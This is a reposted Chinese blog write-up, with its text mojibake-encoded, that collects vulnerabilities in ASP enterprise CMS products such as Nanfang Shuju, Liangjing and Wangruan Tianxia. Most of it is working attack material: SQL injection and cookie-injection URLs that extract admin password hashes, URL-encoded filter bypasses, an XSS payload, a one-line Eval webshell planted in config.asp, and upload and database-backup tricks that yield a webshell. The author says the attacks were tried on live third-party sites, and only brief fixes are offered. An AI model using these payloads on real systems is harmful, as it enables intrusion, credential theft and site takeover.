南方數(shù)據(jù)、良精、網(wǎng)軟天下等企業(yè)管理系統(tǒng)漏洞總結(jié)(轉(zhuǎn))

[重要通告]如您遇疑難雜癥,本站支持知識(shí)付費(fèi)業(yè)務(wù),掃右邊二維碼加博主微信,可節(jié)省您寶貴時(shí)間哦!

南方數(shù)據(jù)、良精、網(wǎng)軟天下等企業(yè)管理系統(tǒng)漏洞總結(jié)

一、
在分析useredit.asp的時(shí)候,發(fā)現(xiàn)這樣幾句:

dim Action,UserName,FoundErr,ErrMsg dim rsUser,sqlUser Action=trim(request("Action")) UserName=trim(request("UserName")) if UserName="" then UserName=session("UserName") end if if UserName="" then if Action="" then response.redirect "UserServer.asp" else FoundErr=True ErrMsg=ErrMsg & "<br><li>參數(shù)不足!</li>" end if end if if FoundErr=true then call WriteErrMsg() else Set rsUser=Server.CreateObject("Adodb.RecordSet") sqlUser="select * from [User] where UserName='" & UserName & "'"

很明顯,username的值未經(jīng)過(guò)任何過(guò)濾。本來(lái)他是用username來(lái)獲取session用戶名來(lái)進(jìn)行用戶資料的,可惜前面加了request("username"),這在我看來(lái)無(wú)任何意義,不知道寫(xiě)程序的人什么用意。。

根據(jù)管理員表,我構(gòu)建了以下語(yǔ)句來(lái)測(cè)試: http://localhost/nf/useredit.asp?username=admin'%20and%20exists%20(select%20Password%20from%20[Admin]) 結(jié)果返回錯(cuò)誤:一想,對(duì)了,是字符型:再來(lái): http://localhost/nf/useredit.asp?username=admin'%20and%20exists%20(select%20Password%20from%20[Admin]) and ''=' 返回正常用戶資料編輯頁(yè)面,OK~無(wú)任何問(wèn)題,再來(lái): http://localhost/nf/useredit.asp?username=admin'%20and%20exists%20(select%20Password%20from%20[Admin]%20where%20left(password,1)='3')%20and%20''=' 返回正常 剩下的我也就不多說(shuō),結(jié)果用它測(cè)試官方的站,也是一樣存在此漏洞,順利拿到MD5密碼后,準(zhǔn)備進(jìn)后臺(tái)一看,但是官方演示站沒(méi)有上傳后臺(tái),只能看看了。(BS..)

修補(bǔ)漏洞也極其簡(jiǎn)單:

UserName=trim(request("UserName"))

此行下面再加幾句過(guò)濾一下: UserName=Replace(UserName,"'","") UserName=Replace(UserName,"%","") UserName=Replace(UserName," ","") UserName=Replace(UserName,"exists","") UserName=Replace(UserName,"select","")

就可以了!

-----------------------------------------------------------------------------------------------------------------------------------

渥洞二:
出現(xiàn)漏洞的文件是upfile_Other.asp,我們來(lái)看看它的問(wèn)題語(yǔ)句吧!
<%
if EnableUploadFile="NO" then
response.write "系統(tǒng)未開(kāi)放文件上傳功能"
else
if session("AdminName")="" and session("UserName")="" then
response.Write("請(qǐng)登錄后再使用本功能!")
else
select case upload_type
case 0
call upload_0() ''使用化境無(wú)組件上傳類
case else
''response.write "本系統(tǒng)未開(kāi)放插件功能"
''response.end
end select
end if
end if
%>
EnableUploadFile代表上傳文件是否開(kāi)起,問(wèn)題在這里
session("AdminName")="" and session("UserName")=""
這個(gè)文件的session不僅給管理員用還給普通的用戶用,可是前臺(tái)的用戶根本用不上這個(gè),
這就導(dǎo)致了動(dòng)畫(huà)里的成功入侵網(wǎng)站。
補(bǔ)救的方法就是先把a(bǔ)nd session("UserName")="" 給去掉。

-----------------------------------------------------------------------------------------------------------------------------------

發(fā)現(xiàn)Aboutus.asp頁(yè)面中的注入漏洞.
<!--#include file="Inc/SysProduct.asp" --> '調(diào)用函數(shù)文件來(lái)驗(yàn)證和判斷.
<!--#include file="inc/Skin_css.asp"--> '調(diào)用式樣文件.無(wú)用的,不管他
<!-- #include file="Head.asp" --> '頭部頁(yè)面,丟開(kāi).
<%Title=Trim(request("Title")) '顯示標(biāo)題
Set rs = Server.CreateObject("ADODB.Recordset") '運(yùn)行組件
sql="select Content from Aboutus where Title='"&Title&"'" '查詢語(yǔ)句..不管這里,繼續(xù)看下面
rs.open sql,conn,1,3
………… '后面的省略
<%
Set rslist = Server.CreateObject("ADODB.Recordset") '運(yùn)行組件
sql="select Title from Aboutus order by Aboutusorder" 'SQL開(kāi)始查詢.
rslist.open sql,conn,1,3 '把查詢結(jié)果寫(xiě)入rslist記錄集.
do while not rslist.eof
%>
<a href="Aboutus.asp?Title=<%=rslist("Title")%>"><%=rslist("Title")%> '關(guān)鍵在這里.
………… '省略
%>

Aboutus.asp?Title=<%=rslist("Title")%>"><%=rslist("Title")%>

Inc/SysProduct.asp里面調(diào)用了Check_Sql.ASP進(jìn)行SQL注入防護(hù).
其實(shí)這個(gè)頁(yè)面并沒(méi)有做任何過(guò)濾..雖然調(diào)用了CHECK_SQL.ASP來(lái)阻止注入.
但是他沒(méi)有過(guò)濾URL編碼.
本地搭建測(cè)試下.
http://localhost/aboutus.asp?title=%20%31%27 '錯(cuò)誤
http://localhost/aboutus.asp?title=%20%31%20%61%6E%64%20%31%3D%31 '正常
http://localhost/aboutus.asp?title=%31%20%61%6E%64%20%31%3D%32 '錯(cuò)誤

可以注入了.
查管理員密碼
http://localhost/aboutus.asp?title=%31%20%61%6E%64%20%65%78%69%73%74%73%20%28%73%65%6C%65%63%74%20%69%64%20%66%72%6F%6D%20%

75%73%65%72%73%20%77%68%65%72%65%20%6C%65%6E%28%75%73%65%72%70%77%64%29%3D%31%36%20%61%6E%64%20%75%73%65%72%69%64%3D%31%29
大家可以自己用Encode轉(zhuǎn)換SQL語(yǔ)句查詢..

-----------------------------------------------------------------------------------------------------------------------------------
另外一處XSS漏洞

這個(gè)漏洞出在Download.asp
<!--#include file="Inc/SysDown.asp" -->
<!--#include file="inc/Skin_css.asp"-->
<%
MaxPerPage=MaxPerPage_Default
strFileName="download.asp?BigClassName=" & BigClassName & "&SmallClassName=" & SmallClassName
%>
看到了吧..
沒(méi)調(diào)用任何過(guò)濾文件.而且輸出的BigClassName也沒(méi)有做任何過(guò)濾.
http://localhost/download.asp?BigClassName=<script>alert('Test..By:黑**')</script>
加密下
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%27%54%65%73%74%2E%2E%42%79%3A%BA%DA%2A%2A%27%29%3C%2F%73%63%72%69%70%74%3E
一樣可以正常輸出..

就到這里了吧.本人小菜一個(gè).大俠飄過(guò).感謝小拘同學(xué)提供了思路.

二、
網(wǎng)軟天下企業(yè)網(wǎng)站管理系統(tǒng)很多參數(shù)都是直接用request("id") 來(lái)接收參數(shù),為什么他們那么放心呢?原來(lái)他們都包含了一個(gè)非常流行.很多ASP程序里都用的防注入代碼,真的只需在有參數(shù)提交的文件中include防注入文件就是了安全嗎?我們來(lái)看看這個(gè)防注入文件。

Check_Sql.asp
<%
Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name
'------定義部份 頭----------------------------------------------------------------------
Err_Message = 1 '處理方式:1=提示信息,2=轉(zhuǎn)向頁(yè)面,3=先提示再轉(zhuǎn)向
Err_Web = "Err.Asp" '出錯(cuò)時(shí)轉(zhuǎn)向的頁(yè)面
Query_Badword="'∥and∥select∥update∥chr∥delete∥%20from∥;∥insert∥mid∥master.∥set∥chr(37)∥="
'在這部份定義get非法參數(shù),使用"∥"號(hào)間隔
Form_Badword="'∥%∥&∥*∥#∥(∥)∥="? ???'在這部份定義post非法參數(shù),使用"∥"號(hào)間隔
'------定義部份 尾-----------------------------------------------------------------------
'
On Error Resume Next
'----- 對(duì) get query 值 的過(guò)濾.
if request.QueryString<>"" then //request.QueryString
Chk_badword=split(Query_Badword,"∥") //用split()把參數(shù)分割了
FOR EACH Query_Name IN Request.QueryString
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))<>0 Then //呵呵,他們還沒(méi)有低級(jí)到連LCase()都不用!
Select Case Err_Message
Case "1"
Response.Write "<Script Language=JavaScript>alert('傳參錯(cuò)誤!參數(shù) "&name&" 的值中包含非法字符串!\n\n請(qǐng)不要在參數(shù)中出現(xiàn):and update delete ; insert mid master 等非法字符!');window.close();</Script>"
Case "2"
Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>"
Case "3"
Response.Write "<Script Language=JavaScript>alert('傳參錯(cuò)誤!參數(shù) "&name&"的值中包含非法字符串!\n\n請(qǐng)不要在參數(shù)中出現(xiàn):and update delete ; insert mid master 等非法字符!');location.href='"&Err_Web&"';</Script>"
End Select
Response.End
End If
NEXT
NEXT
End if
'-----對(duì) post 表 單值的過(guò)濾.
if request.form<>"" then //request.form
Chk_badword=split(Form_Badword,"∥")
FOR EACH name IN Request.Form
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.form(name)),Chk_badword(i))<>0 Then
Select Case Err_Message
Case "1"
Response.Write "<Script Language=JavaScript>alert('出錯(cuò)了!表單 "&name&" 的值中包含非法字符串!\n\n請(qǐng)不要在表單中出現(xiàn): % & * # ( ) 等非法字符!');window.close();</Script>"
Case "2"
Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>"
Case "3"
Response.Write "<Script Language=JavaScript>alert('出錯(cuò)了!參數(shù) "&name&"的值中包含非法字符串!\n\n請(qǐng)不要在表單中出現(xiàn): % & * # ( ) 等非法字符!');location.href='"&Err_Web&"';</Script>"
End Select
Response.End
End If
NEXT
NEXT
end if
%>
它遍歷GET和POST中很多危險(xiǎn)的參數(shù),常用來(lái)獲得數(shù)據(jù)的有兩種方式:一種就是:GET方式(Request.QueryString)另一種就是:表單POST提交的數(shù)據(jù)(Request. Form)和Cookies(Request.Cookies),而上面的防注入只是對(duì)Request對(duì)象的QueryString和From集合進(jìn)行過(guò)濾,卻忽略了Request.Cookies 可愛(ài)的注入出現(xiàn)了,我們可以用cookie注入來(lái)得到管理員的密碼帳號(hào) 。這里我們不僅僅可以注入,也可以跨站,這樣的防注入形同虛設(shè)。
注入漏洞
下面我們來(lái)測(cè)試一下:我們就來(lái)
利用shownews.asp 在地址欄中打開(kāi)http://127.0.0.1/shownews.asp?id=1 清空地址欄,利用union語(yǔ)句來(lái)注入,提交:javascript:alert(document.cookie="id="+escape("1 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from Admin")) 提交后我們?cè)L問(wèn)
http://127.0.0.1/shownews.asp 在頁(yè)面中直接返回了管理員的帳號(hào)和16位MD5加密的密碼,這樣我們就已經(jīng)成功拿到了管理員的帳號(hào)和密碼。

三、后臺(tái)的利用
(1)在系統(tǒng)管理中的網(wǎng)站配置中插入一句話?cǎi)R:進(jìn)入后臺(tái)后,點(diǎn)左邊的”系統(tǒng)管理”再點(diǎn)擊”網(wǎng)站配置”在右邊的”網(wǎng)站名稱”(也可以在其它處)后加入"%><%Eval(Request(chr(112)))%><%',再點(diǎn)保存配置,如圖15:

然后我們打開(kāi)inc/config.asp文件,看到一句話?cǎi)R已寫(xiě)入到配置文件中了,圖16:

這時(shí)再打開(kāi)一句話?cǎi)R的客戶端,提交同樣得到一個(gè)小馬.圖17:

(注:以下均在其它網(wǎng)站上測(cè)試所截的圖,為防止信息泄漏,未截留網(wǎng)站連接,請(qǐng)諒解!)

(2)后臺(tái)上傳漏洞,在Upfile_Photo.asp文件中部分代碼如下:

以下是代碼片段:

if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then

EnableUpload=false

end if

if EnableUpload=false then

msg="這種文件類型不允許上傳!\n\n只允許上傳這幾種文件類型:" & UpFileType

FoundErr=true

end if

大家可以看到程序只限制了對(duì)"asp","asa","aspx"類的文件上傳,我們只要在”網(wǎng)站配置”的允許的上傳文件類型處增加上傳”cer”等被服務(wù)器可解析的文件類型就可,由于我下載的是測(cè)試版本,無(wú)法在自己機(jī)子上測(cè)試,不過(guò)登陸了使用這系統(tǒng)的另一網(wǎng)站后臺(tái)后,成功上傳了”cer”后綴的文件后,如圖18,圖19:


提交時(shí)卻顯示下載頁(yè)面 ,上傳其它如”htr,cdx”等后綴文件時(shí),提交時(shí)服務(wù)器卻不請(qǐng)求(只能說(shuō)運(yùn)氣不好吧)
(3)后臺(tái)備份,直接在”產(chǎn)品管理”下的添加產(chǎn)品中上傳jpg后綴的asp馬,再到”系統(tǒng)管理”下的數(shù)據(jù)庫(kù)備份,在”當(dāng)前數(shù)據(jù)庫(kù)路徑”欄填入上傳的路徑,在” 備份數(shù)據(jù)庫(kù)名稱”填入你要備份馬的名稱,不過(guò)系統(tǒng)會(huì)在名稱后自動(dòng)添加上.asa的,圖20:

點(diǎn)”確定”后提示”備份數(shù)據(jù)庫(kù)成功….”不過(guò)實(shí)際文件是沒(méi)有.asa的如圖21:

直接訪問(wèn)備份后的地址,就得到一個(gè)webshell如圖22

問(wèn)題未解決?付費(fèi)解決問(wèn)題加Q或微信 2589053300 (即Q號(hào)又微信號(hào))右上方掃一掃可加博主微信

所寫(xiě)所說(shuō),是心之所感,思之所悟,行之所得;文當(dāng)無(wú)敷衍,落筆求簡(jiǎn)潔。 以所舍,求所獲;有所依,方所成!

支付寶贊助
微信贊助

免責(zé)聲明,若由于商用引起版權(quán)糾紛,一切責(zé)任均由使用者承擔(dān)。

您必須遵守我們的協(xié)議,如您下載該資源,行為將被視為對(duì)《免責(zé)聲明》全部?jī)?nèi)容的認(rèn)可->聯(lián)系老梁投訴資源
LaoLiang.Net部分資源來(lái)自互聯(lián)網(wǎng)收集,僅供用于學(xué)習(xí)和交流,請(qǐng)勿用于商業(yè)用途。如有侵權(quán)、不妥之處,請(qǐng)聯(lián)系站長(zhǎng)并出示版權(quán)證明以便刪除。 敬請(qǐng)諒解! 侵權(quán)刪帖/違法舉報(bào)/投稿等事物聯(lián)系郵箱:service@laoliang.net
意在交流學(xué)習(xí),歡迎贊賞評(píng)論,如有謬誤,請(qǐng)聯(lián)系指正;轉(zhuǎn)載請(qǐng)注明出處: » 南方數(shù)據(jù)、良精、網(wǎng)軟天下等企業(yè)管理系統(tǒng)漏洞總結(jié)(轉(zhuǎn))

發(fā)表回復(fù)

本站承接,網(wǎng)站推廣(SEM,SEO);軟件安裝與調(diào)試;服務(wù)器或網(wǎng)絡(luò)推薦及配置;APP開(kāi)發(fā)與維護(hù);網(wǎng)站開(kāi)發(fā)修改及維護(hù); 各財(cái)務(wù)軟件安裝調(diào)試及注冊(cè)服務(wù)(金蝶,用友,管家婆,速達(dá),星宇等);同時(shí)也有客戶管理系統(tǒng),人力資源,超市POS,醫(yī)藥管理等;

立即查看 了解詳情